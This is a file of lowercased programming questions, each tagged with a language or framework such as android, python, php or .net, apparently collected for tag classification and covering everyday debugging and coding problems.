what information can i get from  unrecognized selector  log message   i see this in my log:   <blockquote>    <code>2011-08-05 17:29:45.994 test[3834:707] -[myclass copywithzone:]: unrecognized selector sent to instance 0x102218b90</code>  </blockquote>   what usable information does this line contain to track down exact point where unrecognized selector is sent  my understanding is that <code>3834</code> is pid  but i don t know what is <code>707</code> value. also  is unrecognized selector <code>copywithzone:</code> or is that place where the problem occured  (i don t override that method anywhere though),objective-c
reading text from .db file one line at a time  first of  i don t know how a.db file stores it data. if it does it in one line  or over many lines. probably it does some difference from how to solve the problem. the problem i m facing is that i don t know how much data the file contains  only that it will be a date  time  and a description for x number of events in the form given below. i have to convert the text into strings and put them in an array  but i don t know how to separate the text. when i tried i just ended up with one long string.     can anybody help me    <pre><code>01.01.2015|07:00-07:15|get up 01.01.2015|08:00|get to work 01.01.2015|08:00-16:00| work 01.01.2015|16:00-16:30| go home </code></pre>   what i want:   <pre><code>array[0] =  01.01.2015|07:00-07:15|get up  array[1] =  01.01.2015|08:00|get to work  array[2] =  01.01.2015|08:00-16:00| work  array[3] =  01.01.2015|16:00-16:30| go home  </code></pre>   string table[] = new string [100];   <pre><code>void readfile(string filename){   string read =   ;   try {     x = new scanner (new file(filename));   }   catch (exception e) {   }   while (x.hasnext()) {   read += x.nextline();    }              } </code></pre>,java
how to move screen with data in swipe tabs   my requierment is when i click the button in tab1fragment  the screen move to next screen (tab2fragment) and also the data i wrote in edittext.     this is my code  but not working  anyone please help me.     tab1fragment.java   <pre><code>package com.example.tabswithswipe;      import android.os.bundle;     import android.support.v4.app.fragment;     import android.view.layoutinflater;     import android.view.view;     import android.view.viewgroup;     import android.widget.button;     import android.widget.edittext;       public class tab1fragment extends fragment{         @override         public view oncreateview(layoutinflater inflater  viewgroup container                  bundle savedinstancestate) {              view rootview = inflater.inflate(r.layout.tab1  container  false);             button btsend = (button)rootview.findviewbyid(r.id.button1);             final edittext editsendata =     (edittext)rootview.findviewbyid(r.id.edittext1);              btsend.setonclicklistener(new view.onclicklistener() {                      @override                     public void onclick(view v) {                         tab2fragment fragment = new tab2fragment();                         bundle args = new bundle();                         args.putstring( data  editsendata.gettext().tostring());                         fragment.setarguments(args);                     }             });             return rootview;         }     } </code></pre>   tab1.xml   <pre><code>  &lt; xml version= 1.0  encoding= utf-8  &gt;     &lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android          android:id= @+id/tab1          android:layout_width= match_parent          android:layout_height= match_parent  &gt;          &lt;edittext                 android:id= @+id/edittext1                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:layout_margintop= 31dp                  android:ems= 10  /&gt;           &lt;button             android:id= @+id/button1              android:layout_width= wrap_content              android:layout_height= wrap_content              android:layout_below= @+id/fragment1              android:layout_marginleft= 29dp              android:layout_margintop= 22dp              android:layout_torightof= @+id/textview1              android:text= button  /&gt;      &lt;/relativelayout&gt; </code></pre>   tab2fragment.java   <pre><code>package com.example.tabswithswipe;  import android.os.bundle; import android.support.v4.app.fragment; import android.view.layoutinflater; import android.view.view; import android.view.viewgroup; import android.widget.textview;  public class tab2fragment extends fragment{      private textview txtresultdata;     @override     public view oncreateview(layoutinflater inflater  viewgroup container              bundle savedinstancestate) {          view rootview = inflater.inflate(r.layout.tab2  container  false);         this.txtresultdata = (textview)rootview.findviewbyid(r.id.textview1);          string i = getarguments().getstring( data );         txtresultdata.settext(i);          return rootview;     } } </code></pre>   tab2.xml   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android      android:layout_width= match_parent      android:layout_height= match_parent  &gt;      &lt;textview         android:id= @+id/textview1          android:layout_width= wrap_content          android:layout_height= wrap_content          android:layout_alignparentleft= true          android:layout_alignparenttop= true          android:layout_marginleft= 63dp          android:layout_margintop= 23dp          android:text= textview  /&gt;  &lt;/relativelayout&gt; </code></pre>   mainactivity.java   <pre><code>package com.example.tabswithswipe;  import android.app.actionbar; import android.app.actionbar.tab; import android.app.fragmenttransaction; import android.os.bundle; import android.support.v4.app.fragmentactivity; import android.support.v4.view.viewpager; import android.view.menu;    public class mainactivity extends fragmentactivity implements actionbar.tablistener {      private viewpager viewpager;         private tabspageradapter madapter;         private actionbar actionbar;         // tab titles         private string[] tabs = {  tab1    tab2    tab3  };          @override         protected void oncreate(bundle savedinstancestate) {             super.oncreate(savedinstancestate);             setcontentview(r.layout.activity_main);              // initilization             viewpager = (viewpager) findviewbyid(r.id.pager);             actionbar = getactionbar();             madapter = new tabspageradapter(getsupportfragmentmanager());              viewpager.setadapter(madapter);             actionbar.sethomebuttonenabled(false);             actionbar.setnavigationmode(actionbar.navigation_mode_tabs);              // adding tabs             for (string tab_name : tabs) {                 actionbar.addtab(actionbar.newtab().settext(tab_name)                         .settablistener(this));             }              /**              * on swiping the viewpager make respective tab selected              * */             viewpager.setonpagechangelistener(new viewpager.onpagechangelistener() {                  @override                 public void onpageselected(int position) {                     // on changing the page                     // make respected tab selected                     actionbar.setselectednavigationitem(position);                 }                  @override                 public void onpagescrolled(int arg0  float arg1  int arg2) {                 }                  @override                 public void onpagescrollstatechanged(int arg0) {                 }             });         }          @override         public void ontabreselected(tab tab  fragmenttransaction ft) {         }          @override         public void ontabselected(tab tab  fragmenttransaction ft) {             // on tab selected             // show respected fragment view             viewpager.setcurrentitem(tab.getposition());         }          @override         public void ontabunselected(tab tab  fragmenttransaction ft) {         }      @override     public boolean oncreateoptionsmenu(menu menu) {         // inflate the menu; this adds items to the action bar if it is present.         getmenuinflater().inflate(r.menu.main  menu);         return true;     }  } </code></pre>   tabspageradapter.java   <pre><code>package com.example.tabswithswipe;  import android.support.v4.app.fragment; import android.support.v4.app.fragmentmanager; import android.support.v4.app.fragmentpageradapter; import com.example.tabswithswipe.tab1fragment; import com.example.tabswithswipe.tab2fragment; import com.example.tabswithswipe.tab3fragment;  public class tabspageradapter extends fragmentpageradapter{     public tabspageradapter(fragmentmanager fm) {         super(fm);     }      @override     public fragment getitem(int index) {          switch (index) {         case 0:             // tab1fragment activity             return new tab1fragment();         case 1:             // tab2fragment activity             return new tab2fragment();         case 2:             // tab3fragment activity             return new tab3fragment();         }          return null;     }      @override     public int getcount() {         // get item count - equal to number of tabs         return 3;     }  } </code></pre>   error in log   <pre><code>03-06 03:17:00.740: e/androidruntime(1375): fatal exception: main 03-06 03:17:00.740: e/androidruntime(1375): process: com.example.tabswithswipe  pid: 1375 03-06 03:17:00.740: e/androidruntime(1375): java.lang.nullpointerexception 03-06 03:17:00.740: e/androidruntime(1375):     at com.example.tabswithswipe.tab2fragment.oncreateview(tab2fragment.java:20) 03-06 03:17:00.740: e/androidruntime(1375):     at android.support.v4.app.fragment.performcreateview(fragment.java:1500) 03-06 03:17:00.740: e/androidruntime(1375):     at android.support.v4.app.fragmentmanagerimpl.movetostate(fragmentmanager.java:927) 03-06 03:17:00.740: e/androidruntime(1375):     at android.support.v4.app.fragmentmanagerimpl.movetostate(fragmentmanager.java:1104) 03-06 03:17:00.740: e/androidruntime(1375):     at android.support.v4.app.backstackrecord.run(backstackrecord.java:682) 03-06 03:17:00.740: e/androidruntime(1375):     at android.support.v4.app.fragmentmanagerimpl.execpendingactions(fragmentmanager.java:1467) 03-06 03:17:00.740: e/androidruntime(1375):     at android.support.v4.app.fragmentmanagerimpl.executependingtransactions(fragmentmanager.java:472) 03-06 03:17:00.740: e/androidruntime(1375):     at android.support.v4.app.fragmentpageradapter.finishupdate(fragmentpageradapter.java:141) 03-06 03:17:00.740: e/androidruntime(1375):     at android.support.v4.view.viewpager.populate(viewpager.java:1068) 03-06 03:17:00.740: e/androidruntime(1375):     at android.support.v4.view.viewpager.populate(viewpager.java:914) 03-06 03:17:00.740: e/androidruntime(1375):     at android.support.v4.view.viewpager.onmeasure(viewpager.java:1436) 03-06 03:17:00.740: e/androidruntime(1375):     at android.view.view.measure(view.java:16458) 03-06 03:17:00.740: e/androidruntime(1375):     at android.view.viewgroup.measurechildwithmargins(viewgroup.java:5125) 03-06 03:17:00.740: e/androidruntime(1375):     at android.widget.framelayout.onmeasure(framelayout.java:310) 03-06 03:17:00.740: e/androidruntime(1375):     at android.view.view.measure(view.java:16458) 03-06 03:17:00.740: e/androidruntime(1375):     at android.view.viewgroup.measurechildwithmargins(viewgroup.java:5125) 03-06 03:17:00.740: e/androidruntime(1375):     at com.android.internal.widget.actionbaroverlaylayout.onmeasure(actionbaroverlaylayout.java:327) 03-06 03:17:00.740: e/androidruntime(1375):     at android.view.view.measure(view.java:16458) 03-06 03:17:00.740: e/androidruntime(1375):     at android.view.viewgroup.measurechildwithmargins(viewgroup.java:5125) 03-06 03:17:00.740: e/androidruntime(1375):     at android.widget.framelayout.onmeasure(framelayout.java:310) 03-06 03:17:00.740: e/androidruntime(1375):     at com.android.internal.policy.impl.phonewindow$decorview.onmeasure(phonewindow.java:2289) 03-06 03:17:00.740: e/androidruntime(1375):     at android.view.view.measure(view.java:16458) 03-06 03:17:00.740: e/androidruntime(1375):     at android.view.viewrootimpl.performmeasure(viewrootimpl.java:1914) 03-06 03:17:00.740: e/androidruntime(1375):     at android.view.viewrootimpl.measurehierarchy(viewrootimpl.java:1111) 03-06 03:17:00.740: e/androidruntime(1375):     at android.view.viewrootimpl.performtraversals(viewrootimpl.java:1293) 03-06 03:17:00.740: e/androidruntime(1375):     at android.view.viewrootimpl.dotraversal(viewrootimpl.java:998) 03-06 03:17:00.740: e/androidruntime(1375):     at android.view.viewrootimpl$traversalrunnable.run(viewrootimpl.java:5582) 03-06 03:17:00.740: e/androidruntime(1375):     at android.view.choreographer$callbackrecord.run(choreographer.java:749) 03-06 03:17:00.740: e/androidruntime(1375):     at android.view.choreographer.docallbacks(choreographer.java:562) 03-06 03:17:00.740: e/androidruntime(1375):     at android.view.choreographer.doframe(choreographer.java:532) 03-06 03:17:00.740: e/androidruntime(1375):     at android.view.choreographer$framedisplayeventreceiver.run(choreographer.java:735) 03-06 03:17:00.740: e/androidruntime(1375):     at android.os.handler.handlecallback(handler.java:733) 03-06 03:17:00.740: e/androidruntime(1375):     at android.os.handler.dispatchmessage(handler.java:95) 03-06 03:17:00.740: e/androidruntime(1375):     at android.os.looper.loop(looper.java:137) 03-06 03:17:00.740: e/androidruntime(1375):     at android.app.activitythread.main(activitythread.java:4998) 03-06 03:17:00.740: e/androidruntime(1375):     at java.lang.reflect.method.invokenative(native method) 03-06 03:17:00.740: e/androidruntime(1375):     at java.lang.reflect.method.invoke(method.java:515) 03-06 03:17:00.740: e/androidruntime(1375):     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:777) 03-06 03:17:00.740: e/androidruntime(1375):     at com.android.internal.os.zygoteinit.main(zygoteinit.java:593) 03-06 03:17:00.740: e/androidruntime(1375):     at dalvik.system.nativestart.main(native method) 03-06 03:17:40.870: i/process(1375): sending signal. pid: 1375 sig: 9 </code></pre>,android
is there a way to check if a list is a sublist of another list   so say i have    <pre><code>x = [1 2 3 4 5 6] y = [2 3 4] </code></pre>   is there a way to check if <code>y</code> is in <code>x</code> exactly in the order that it s in     so like an if statement that would be <code>true</code> if <code>y</code> is in <code>x</code>,python
clicking on link does not do anything  im trying to figure out how to make my sidebars main category list clickable.    well  it is clickable  but  when i click on any of main categories elements it does not redirect me to page i need.    layout:   <pre><code>@foreach($kat as $kategorijas)              &lt;li&gt;                 &lt;a href= kategorija/{{$kategorijas-&gt;id}} &gt;{{$kategorijas-&gt;nosaukums}}&lt;/a&gt; &lt;-----here  this link doesnt respond  if i clode &lt;li&gt; tag here ir responds                 &lt;div&gt;                     &lt;p&gt;&lt;strong style= font-size: 14px &gt;{{$kategorijas-&gt;nosaukums}}&lt;/strong&gt;&lt;/p&gt;                     &lt;ul&gt;                                  @foreach($kategorijas-&gt;apakskategorija as $apakskategorijas)                             &lt;li&gt;&lt;a href= kategorija/{{ $kategorijas-&gt;id }}/apakskategorija/{{$apakskategorijas-&gt;id}} &gt;{{$apakskategorijas-&gt;nosaukums}}&lt;/a&gt;&lt;/li&gt;  &lt;!-- &lt;span&gt;({{ $kategorijas-&gt;apakskategorija-&gt;count() }})&lt;/span&gt; --&gt;                         @endforeach                      &lt;/ul&gt;                    &lt;/div&gt;             &lt;/li&gt;          @endforeach  </code></pre>   but  when i clode <code>&lt;li&gt;</code>tag right after <code>&lt;a&gt;</code> tag  it works fine  but my layout changes and is not like i want it to be.    <strong>render link  hope it is working:</strong> <a href= http://rendera.herokuapp.com/usercode/cd6e038e956c0dd390d40bee3591597c26ff464e  rel= nofollow noreferrer >http://rendera.herokuapp.com/usercode/cd6e038e956c0dd390d40bee3591597c26ff464e</a>,html
calling an internalcall method  i saw a method in reference source i want to use  but it s marked as <code>methodimploptions.internalcall</code>. i copied the code from reference source into my project  but it throws <code>typeloadexception</code> with  internal call method with non_null rva . how do i call an internal method from my code,.net
scroll view and highlight item  i am using <code>horizontal</code> scroll view and scrolling it by using 2 buttons left and right. i want to highlight the items present in <code>scroll</code> view and move to next item when i press the same left and right button. when i click left button it should move to left and highlight the item and if i click right it should highlight next element to right.thanks!!,android
leveling and matching exposure using coreimage / gpuimage  i was wondering if its possible to level exposure across a set of images using either <code>coreimage</code> or <code>gpuimage</code>. and how would i go about that     <strong>example: say you have 4 images  but the exposure is different on the third one. how could you level the exposure so all 4 images have the same exposure </strong>    one idea i had was measuring and matching the exposure using <code>avcapture</code>  i.e. if the input image is -2.0  then simply add 2.0 using <code>coreimage</code>.    another idea is to implement histogram equalization..    has anyone ever dealt with the same task before  any insights,objective-c
c  passing 2 dimensional array  i haven t used pure c in a few years now  but i can t seem to make this really basic use case work.  here is the simple use-case in simple c  the actual situation is wrapped in the hdf library  but i need to start with this  first.   <pre><code>#include &lt;stdio.h&gt;  void print_data(float **data  int i  int j) {     for(int i=0;i&lt;i;i++)     {         for(int j=0;j&lt;j;j++)             printf( %02.2f\t   data[i][j]);         printf( \n );     } } void initialize_data(float **data  int i  int j) {     for(int i=0;i&lt;i;i++)         for(int j=0;j&lt;j;j++)             data[i][j] = i * 6 + j + 1; } int main(int argc  char *argv[]) {     float data[4][6];     int i=4;     int j=6;     initialize_data((float **)data  4 6);     print_data((float **)data  4  6);     return 0; } </code></pre>   the above program will cause a failure and raise a exc_bad_access signal.  gdb outputs:   <pre><code>program received signal exc_bad_access  could not access memory. reason: kern_protection_failure at address: 0x00007fff5fc0131a 0x0000000100000de6 in initialize_data (data=0x7fff5fbff348  i=4  j=6) at simple.c:16 16              data[i][j] = i * 6 + j + 1; </code></pre>   i know this is really stupid simple  but i m at my wits  ends trying to figure out this simple thing. could someone point me in the right direction for this,c
sql difficult join tables  suppose i write a query that finds the names of all artists which have members who were not born in the 1960s and another query to find the names of all artists which do not have any members born in the 1960s.    so we are speaking of these three tables:   <h2>artists</h2>  <pre><code>artistid  artistname  region  entrydate </code></pre>  <h2>members</h2>  <pre><code>memberid  firstname  lastname  birthday </code></pre>   the relationship between the aritsts and members tables is the xrefartistsmembers table:   <h2>xrefartistsmembers</h2>  <pre><code>memberid  artistid  respparty </code></pre>   i ve started the query with:    <pre><code>select salesid  firstname  lastname  birthday  from members  where year(birthday) &gt;= 1970 or year(birthday) &lt; 1960; </code></pre>   but what would be true of any artist that appeared in the results of the first query but not in the results of the second,sql
python - return either float or integer depending on calculated value  i m new to python and have been writing out simple programs to get acquainted with the language.    what i am trying to determine is how to calculate output value types dynamically and return them accordingly.  the only way i can get the code to accurately output values is to hard code the casting of type float but i d like to be able to have dynamic output. any pointers in the right direction would be much appreciated!    sample input/output:   <ol> * input = 0  output = 32.0  (desired output: 32) </ol>  <ol> * input = 1  output = 33.8 </ol>   code example:   <pre><code># definite functions def is_number(x):     try:         return int(x)     except valueerror:         try:             return float(x)         except valueerror:             return false   def calc_fahrenheit(x):     try:         return (is_number(x) * 9.0) / 5 + 32     except:         raise  # runtime code celsius = raw_input( enter celsius temperature:  )  while(calc_fahrenheit(celsius) == false):     celsius = raw_input( please enter valid celsuis temperature:  )  print calc_fahrenheit(celsius) </code></pre>,python
new line after each 72 character  have some long base64 string  which must be formated with new line every 72 byte and converted to byte array.    have:   <pre><code>convert.tobase64string(convert.frombase64string( ... )  base64formattingoptions.insertlinebreaks) </code></pre>   but it inserts new line every 76 byte. and how can i convert it back to byte array with preserved new lines,.net
remove all characters before last / in url  i need to remove every characters before the last  /     this my url :     <code>http://www.example.com/highlights/cat/all-about-clothing/</code>    and i want to have only :    <pre><code>all-about-clothing </code></pre>   thanks,php
android code to create a translucent view in background on click of my floating action button  this is what i have done so far. created <code>floatingactionbutton</code>. now i want to set a transparent background layer when i click on the floating button    <pre><code>&lt;relativelayout             android:layout_width= match_parent              android:layout_height= match_parent              android:orientation= vertical &gt;  &lt;com.getbase.floatingactionbutton.floatingactionsmenu                 android:id= @+id/actionmenu                  android:layout_width= wrap_content                  android:layout_height= wrap_content                  android:layout_alignparentbottom= true                  android:layout_alignparentright= true                  android:layout_marginbottom= 60dp                  fab:fab_addbuttoncolornormal= @color/primary                  fab:fab_addbuttoncolorpressed= @color/primary_dark                  fab:fab_addbuttonplusiconcolor= #ffffff &gt;                  &lt;com.getbase.floatingactionbutton.floatingactionbutton                     android:layout_width= wrap_content                      android:layout_height= wrap_content                      android:onclick= openaudio                      fab:fab_colornormal= #ea1e63                      fab:fab_colorpressed= #ea1e63                      fab:fab_icon= @drawable/ic_action_mic  /&gt;                  &lt;com.getbase.floatingactionbutton.floatingactionbutton                     android:layout_width= wrap_content                      android:layout_height= wrap_content                      android:onclick= openattachment                      fab:fab_colornormal= #89c440                      fab:fab_colorpressed= #89c440                      fab:fab_icon= @drawable/ic_action_attachment  /&gt;                  &lt;com.getbase.floatingactionbutton.floatingactionbutton                     android:layout_width= wrap_content                      android:layout_height= wrap_content                      android:onclick= opencamera                      fab:fab_colornormal= #fe5722                      fab:fab_colorpressed= #fe5722                      fab:fab_icon= @drawable/ic_action_camera  /&gt;              &lt;/com.getbase.floatingactionbutton.floatingactionsmenu&gt;  &lt;/relativelayout </code></pre>,android
why i am not able to make private operator new and use default implementation   i have simple code    <pre><code>template &lt;class t&gt; class smartpointer //not completely implemented yet  {     t* ptr;  public:     void crateobj()     {         ptr = new t;     } };  class myclass { private:     static void * operator new   (size_t);     static void* operator new[] (size_t);     friend class smartpointer&lt;myclass&gt;; };  int main() {     smartpointer&lt;myclass&gt; a;     a.crateobj();     return 0; } </code></pre>   i am getting following error.   <blockquote>    severity  code    description project file    line    suppression state   error lnk2001 unresolved external symbol  private: static void *   __cdecl myclass::operator new(unsigned int)  (  2myclass@@capaxi@z)  </blockquote>   i want to make sure only smartpointer should be able to create an instance using new. how can i do that,c++
code doesn t make sense -- two conditionals within php try  i have inherited an application that is not doing what it s supposed to do. i have isolated the problem to the database not being properly attached. the programmer wrote this function that seemingly is suppose to evaluate whether the database is attached  calling the  attachpaymentdatabase()  function to attach it if it s not.    <pre><code>function attachpaymentdatabaseifnotdonealready() { global $db; global $haspaymentdatabaseattached; // determine if we have attached the payment tables  and if not  add them. $haspaymentdatabaseattached = false; try {      // this new way should work the best-- looking for pay.     $alldb = queryall($db   pragma database_list; );     for ($i = 0; $i &lt; count($alldb); $i++)         {         $alldb[$i] = array_change_key_case($alldb[$i]  case_lower);         if (strtolower($alldb[$i][ name ]) ==  pay )             {             debugemail( condition 1 worked. );             $haspaymentdatabaseattached = true;             break;             }         }     // if its name changed this will also work     if (!$haspaymentdatabaseattached)         {         $r = @$db-&gt;querysingle( select * from pay_parameter; );           $haspaymentdatabaseattached = true;         debugemail( condition 2 worked. );         }     }  catch(exception $e)      {      } if (!$haspaymentdatabaseattached)     {     debugemail( nothing worked. );     attachpaymentdatabase();     } } </code></pre>   i have written a debugemail() function that emails me a defined message with a timestamp as used above. when executing the code from the application  i can see that  condition 2 worked.  is being called one second before  nothing worked. .    i don t understand how this can be. if debugemail( condition 2 worked. ); is executing  then so should too $haspaymentdatabaseattached = true; in which case this should not execute:   <pre><code>    if (!$haspaymentdatabaseattached)     {     debugemail( nothing worked. );     attachpaymentdatabase();     } </code></pre>   but it clearly is.    what is going on here ! ! !,php
rake db:migrate not pushing migrations through  i am learning rails using a tutorial  working in nitrous.io and have modified my migration files to create the relationships between the models.  it is a simple time tracker app.  an example of one of the modified migration files is this:   <pre><code>class createworks &lt; activerecord::migration   def change     create_table :works do |t|       t.integer :project_id       t.integer :user_id       t.datetime :datetimeperformed       t.decimal :hours  precision: 5  scale: 2       t.timestamps     end   end end </code></pre>   the project id  user id  datetimeperformed  and hours are all new  but when i run rake db:migrate to push them to schema.rb  nothing happens.  it pauses and then gives me a new prompt  but the schema.rb file is not modified.    i have concluded that the migration is not going through for some reason  but have no idea why.  is there something obvious that i am doing wrong   thanks for your help.,ruby-on-rails
very disappointed with js from successful websites  i ve been learning web development for about a year. then i started applying what i learnt in a website (which i haven t completed yet). unfortunately when i saved the js and html files of some successful websites like amazon facebook  and some others  i was shocked with an entirely different approach in writing js in particular. it was very hard to read and understand.questions:   <ol> <li>why they use oop in most of their js. what i learnt is that oop is only       required in some cases  however most professional websites use oop nearly everywhere in their js files  </li> <li>why they never give meaningfull names to the objects and functions </li> <li>it seems that they are writing js in its hardest way. am i right  but why </li> <li>does it mean that in order to make a successful website  js must be written in that same way of complexity   </li> </ol>   i have actually learnt everything about js  and very aware of the performance issues which would emerge  as a result of bad usage of dom. but these js files have really turned me off. here are some shots:   <pre><code>array)for(var c=0;c&lt;a[b].length;c++)a[b][c]();a[b]=!0} add:function(b c){for(var e=1 f=function(){--e&lt;=0&amp;&amp;g(c)} h=b.length;h--;)a[b[h]]!==!0&amp;&amp;((a[b[h]]=a[b[h]]||[]).push(f) e++);f()}}} m=function(a){a=a||{};this.context=a.context||d;this.once=a.once||!1;this.async=a.async||!1;this.observers=[];this.notifycount=0;this.notifyargs=[]};m.prototype={notify:function(){this.notifycount++;if(!(this.once&amp;&amp;this.notifycount&gt;1)){this.notifyargs=[].slice.call(arguments);for(var a=0;a&lt;this.observers.length;a++)this._run(this.observers[a])}}  observe:function(a){if(e(a))if(this.once&amp;&amp;this.isnotified())this._run(a);else return this.observers.push(a) this.observers.length-1} remove:function(a){return a&gt;-1&amp;&amp;a&lt;this.observers.length (this.observers[a]=function(){} !0):!1} boundobserve:function(){var a=this;return function(){a.observe.apply(a arguments)}} isnotified:function(){return this.notifycount&gt;0} _run:function(a){var b=this.notifyargs c=this.context;this.async g(function(){a.apply(c b)}):a.apply(c b)}};var p=function(){var a={} b=0 k= {} o=n() p={} i=function(a){this.data={name: nav: +b++ group: rcx-nav  value:null result:null immediate:!0 process:!1 override:!1 resolved:!1 watched:!1 context:k when:[] iff:[] filter:[] observe:[] stats:{defined:c() resolved:-1 buildstarted:-1 buildcompleted:-1 callcount:0 executiontime:0}};for(var e in a)a.hasownproperty(e)&amp;&amp;(this.data[e]=a[e]);if(this.data.name.indexof( ] )&gt;-1&amp;&amp;(a=this.data.name.split( ] ) a.length===2&amp;&amp;a[0].length&gt;1&amp;&amp;a[1].length&gt;0))this.data.name=a[1] this.data.group=a[0].replace( [     )};i.prototype={getdependencynames:function(){for(var a=[].concat(this.data.when this.data.filter)  </code></pre>   you can download such files from any website. i would reallly love to see any explanation about this real life issue. and many thanks in advance,javascript
doctype and character encoding not recognized by w3.org validator  i ve spend several hours trying to figure out what s wrong with the following html.   <pre><code>&lt;!doctype=html&gt;  &lt;html lang= en &gt; &lt;head&gt; &lt;meta charset= utf-8 &gt; &lt;title&gt;location status&lt;/title&gt; &lt;link rel= stylesheet  type= text/css  href= location_status.css &gt; &lt;meta http-equiv= refresh  content= 900 &gt; &lt;/head&gt; </code></pre>   validator w3.org tells me:   <ol> <li>the character encoding was not declared.</li> <li>end of file seen without seeing a doctype first. expected <code>&lt;!doctype html&gt;</code></li> <li>element head is missing a required instance of child element title</li> </ol>,html
design an architecture by using entity framework+ wcf + asp.net mvc  i m going to design a web based application by using the following:   <ol> <li>entity framework - for db connectivity</li> <li>wcf servcie - to be linked with entity framework for data fetching  to get/set data and perform business logic</li> <li>mvc asp.net application - presentation layer - it will call wcf service to get/set data and perform business logic</li> </ol>   please shed some lights on this. your suggestions will be valuable for me.,.net
mysql rollup on daily basis  i have a following data set   <pre><code>month | spend jan   | 100 jan   | 200 feb   | 10 feb   | 500 feb   | 100 march | 60 </code></pre>   i want a rollup on monthly basis like:-   <pre><code>jan  | 300 feb  | 910 // spend till month of feb march| 970 // spend till month of march and so on... </code></pre>   i want sum month wise with previous month value  i hope you understand.,mysql
javascript - click a link that begins with something  i have a link like this:   <pre><code>&lt;a href= mypage.php x=123456 &gt;&lt;/a&gt; </code></pre>   i need a javascript code to click this link on page load  but since the code generated after     is random   i need the script clicking the url starting with  mypage.php  .     how do i achieve this  thank you in advance,javascript
how to create a single struct statement to declare an array and initialize   i have the following code so far  i am pretty sure i can make the explicit initialization with multiple statements but i want to learn how to do it with a single one.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #define lunches 5  int main(void) {     struct food     {         char *n;  /* “n” attribute of food */         int w  c; /* “w” and “c” attributes of food */     }      lunch[lunches]       lunch[0] = { apple pie   4  100}       lunch[1] = { salsa   2  80}; } </code></pre>   i am thinking the following would work but it is another statement.    <pre><code> int main(void)  {      struct food      {          char *n;  /* “n” attribute of food */          int w  c; /* “w” and “c” attributes of food */      }       lunch[lunches];      lunch[0] = { apple pie   4  100};      lunch[1] = { salsa   2  80}; </code></pre>,c
css arranging order of elements when screen width changes it s properties  i have my page setup in rows with differing column widths. for example:   <pre><code>&lt;div class= row &gt;   &lt;div class= span6 &gt;left side&lt;/div&gt;&lt;!-- 50% width --&gt;   &lt;div class= span6 &gt;right side&lt;/div&gt;&lt;!-- 50% width --&gt; &lt;/div&gt; </code></pre>   i have properties in place so that on a narrow screen width  each column will be 100% width. this  of course  makes the  right side  appear below the  left side  due to the order it appears on the page.    i m trying to find out if there is any way to add a class or something to the  right side  div so that if the screen width makes each column 100% width  the right side will appear above the left side  and not below.    preferably i d like to do this with only css  but if i have to use jquery i can do that as well.   <pre><code>.row {  width:100%;  margin:0 auto;  }  .span1 { width:8.33%; }  .span2 { width:16.66%; }  .span3 { width:25%; }  .span4 { width:33.33%; }  .span5 { width:41.66%; }  .span6 { width:50%; }  .span7 { width:58.33%; }  .span8 { width:66.66%; }  .span9 { width:75%; }  .span10 { width:83.33%; }  .span11 { width:91.66%; }  .span12 { width:100%; }  .span1-5 { width:20%; } /* this column can be used as a one fifth of the row */  .span1-8 { width:12.5%; } /* this column can be used as a one eigth of the row */   .span1   .span2   .span3   .span4   .span5   .span6   .span7  .span8   .span9   .span10   .span11   .span12   .span1-5   .span1-8 {   min-height: 1px;    float: left;    padding-left: 10px;    padding-right: 10px;    position: relative;  }  @media only screen and (max-width: 960px) { .row .row .span1   .row .row .span2   .row .row .span3   .row .row .span4   .row .row .span5   .row .row .span6   .row .row .span7  .row .row .span8   .row .row .span9   .row .row .span10   .row .row .span11   .row .row .span12   .row .row .span1-5   .row .row .span1-8 {     width: 100% !important;     margin-bottom: 20px;     margin-left: 0px;     margin-right: 0px;  } </code></pre>,css
on click drop down menu refreshes on each click  i have a site and its mobile version link is as under     <a href= http://www.aamirarif.com/kashif/nitech_mobile/index.html  rel= nofollow >http://www.aamirarif.com/kashif/nitech_mobile/index.html</a>    i have used jquery onclick drop down menu for this.    when i open this site in a mobile device and click on menu for options  the whole page refreshes  whether it would be only a drop down appearing under the menu     what is the problem  any solution to this problem would be highly appreciated.,jquery
in the data connections i don t have mysql as an option in vs 2010 and when i hit  other  i still don t see mysql in any of those options either  in the data connections i don t have mysql as an option in vs 2010 and when i hit  other  i still don t see mysql in any of those options either.,.net
how to parse hosted payment page from response in android  after i consume one rest api from third party   i get the following hosted payment page in response:   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml  &gt;     &lt;head&gt;         &lt;title&gt;  &lt;/title&gt;     &lt;/head&gt;     &lt;body&gt;         &lt;form method= post  action= ./spr.aspx  id= form1 &gt;             &lt;div class= aspnethidden &gt;                 &lt;input type= hidden  name= __viewstate  id= __viewstate  value=   /&gt;             &lt;/div&gt;             &lt;div class= aspnethidden &gt;                 &lt;input type= hidden  name= __eventvalidation  id= __eventvalidation  value= value  /&gt;             &lt;/div&gt;             &lt;div&gt;                 &lt;div id= panelpleasewait &gt;                     &lt;div style= min-height: 10em; display: block; vertical-align: middle; text-align: center; padding-top: 100px; &gt;                         &lt;h3&gt;         processing  please wait...&lt;/h3&gt;     please wait  your transaction is processing. please don t hit back or stop.                         &lt;br /&gt;                         &lt;img src= images/bigrotation.gif  /&gt;                     &lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt;             &lt;input name= responsecipher  type= hidden  id= responsecipher  value= cipher  /&gt;         &lt;/form&gt;     &lt;/body&gt; &lt;/html&gt; &lt;script type= text/javascript &gt; document.forms[0].action= http://website.in/ ; document.forms[0].submit(); &lt;/script&gt; </code></pre>   now  i want to parse input field with name <code>responsecipher</code> in my android code. but how should i fetch it from this hosted payment page,android
can we store image as string type of data in coredata  in my ios project i had a issue called storing an image in string format. i m using coredata. i m inserting values into database using sqlite database browser. is there any way to store image in string format and retrieve it in my project.,iphone
